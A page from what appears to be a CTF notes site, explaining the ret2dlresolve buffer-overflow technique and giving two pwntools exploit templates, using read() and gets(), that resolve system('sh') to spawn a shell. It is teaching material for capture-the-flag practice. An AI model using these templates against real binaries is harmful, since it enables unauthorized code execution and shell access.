🚩
Practical CTF
BlogContact
  • 🚩Home - Practical CTF
  • 🌐Web
    • Enumeration
      • Finding Hosts & Domains
      • Masscan
      • Nmap
      • OSINT
    • Client-Side
      • Cross-Site Scripting (XSS)
        • HTML Injection
        • Content-Security-Policy (CSP)
      • CSS Injection
      • Cross-Site Request Forgery (CSRF)
      • XS-Leaks
      • Window Popup Tricks
      • Header / CRLF Injection
      • WebSockets
      • Caching
    • Server-Side
      • SQL Injection
      • NoSQL Injection
      • GraphQL
      • XML External Entities (XXE)
      • HTTP Request Smuggling
      • Local File Disclosure
      • Arbitrary File Write
      • Reverse Proxies
    • Frameworks
      • Flask
      • Ruby on Rails
      • NodeJS
      • Bun
      • WordPress
      • Angular
    • Chrome Remote DevTools
    • ImageMagick
  • 🔣Cryptography
    • Encodings
    • Ciphers
    • Custom Ciphers
      • Z3 Solver
    • XOR
    • Asymmetric Encryption
      • RSA
      • Diffie-Hellman
      • PGP / GPG
    • AES
    • Hashing
      • Cracking Hashes
      • Cracking Signatures
    • Pseudo-Random Number Generators (PRNG)
    • Timing Attacks
    • Blockchain
      • Smart Contracts
      • Bitcoin addresses
  • 🔎Forensics
    • Wireshark
    • File Formats
    • Archives
    • Memory Dumps (Volatility)
    • VBA Macros
    • Grep
    • Git
    • File Recovery
  • ⚙️Reverse Engineering
    • Ghidra
    • Angr Solver
    • Reversing C# - .NET / Unity
    • PowerShell
  • 📟Binary Exploitation
    • ir0nstone's Binary Exploitation Notes
    • Reverse Engineering for Pwn
    • PwnTools
    • ret2win
    • ret2libc
    • Shellcode
    • Stack Canaries
    • Return-Oriented Programming (ROP)
      • SigReturn-Oriented Programming (SROP)
      • ret2dlresolve
    • Sandboxes (chroot, seccomp & namespaces)
    • Race Conditions
  • 📲Mobile
    • Setup
    • Reversing APKs
    • Patching APKs
    • HTTP(S) Proxy for Android
    • Android Backup
    • Compiling C for Android
    • iOS
  • 🌎Languages
    • PHP
    • Python
    • JavaScript
      • Prototype Pollution
      • postMessage Exploitation
    • Java
    • C#
    • Assembly
    • Markdown
    • LaTeX
    • JSON
    • YAML
    • CodeQL
    • NASL (Nessus Plugins)
    • Regular Expressions (RegEx)
  • 🤖Networking
    • Modbus - TCP/502
    • Redis/Valkey - TCP/6379
  • 🐧Linux
    • Shells
    • Bash
    • Linux Privilege Escalation
      • Enumeration
      • Networking
      • Command Triggers
      • Command Exploitation
      • Outdated Versions
      • Network File Sharing (NFS)
      • Docker
      • Filesystem Permissions
    • Analyzing Processes
  • 🪟Windows
    • The Hacker Recipes - AD
    • Scanning/Spraying
    • Exploitation
    • Local Enumeration
    • Local Privilege Escalation
    • Windows Authentication
      • Kerberos
      • NTLM
    • Lateral Movement
    • Active Directory Privilege Escalation
    • Persistence
    • Antivirus Evasion
    • Metasploit
    • Alternate Data Streams (ADS)
  • ☁️Cloud
    • Kubernetes
    • Microsoft Azure
  • ❔Other
    • Business Logic Errors
    • Password Managers
    • ANSI Escape Codes
    • WSL Tips
Powered by GitBook
On this page
  • PwnTools
  • read()
  • gets()
  1. Binary Exploitation
  2. Return-Oriented Programming (ROP)

ret2dlresolve

A way to exploit buffer overflows using ROP when not many gadgets are available, and Full RELRO is disabled

PreviousSigReturn-Oriented Programming (SROP)NextSandboxes (chroot, seccomp & namespaces)

Last updated 2 months ago

Ret2dlresolve is a technique that can be used to trick the binary into resolving a specific function, such as system(), into the PLT (Procedure Linkage Table). By doing this, you can use the PLT function as if it was an original component of the binary. This bypasses ASLR and does not require any leaks of the libc address.

The attack is only possible when you can overwrite GOT entries, making it impossible on Full RELRO. On both No RELRO and Partial RELRO this attack is possible however:

For a more detailed explanation see:

PwnTools

read()

rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['sh'])
rop.raw(rop.ret)  # Align stack (64-bit)
rop.read(0, dlresolve.data_addr)  # Call read function to write data
rop.ret2dlresolve(dlresolve)  # Write data

p.sendline(flat({
    OFFSET: rop.chain(),
}))
p.sendline(dlresolve.payload)  # Run /bin/sh

p.interactive()

gets()

rop = ROP(elf)
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['sh'])
rop.raw(rop.ret)  # Align stack (64-bit)
rop.gets(dlresolve.data_addr)  # Call read function to write data
rop.ret2dlresolve(dlresolve)  # Write data

p.sendline(flat({
    OFFSET: rop.chain(),
}))
p.sendline(dlresolve.payload)  # Run /bin/sh

p.interactive()

PwnTools contains a function that can generate payloads for this attack automatically.

📟
ret2dlresolve
ret2dlresolveBinary Exploitation
Detailed analysis and information about ret2dlresolve from ir0nstone's notes
Logo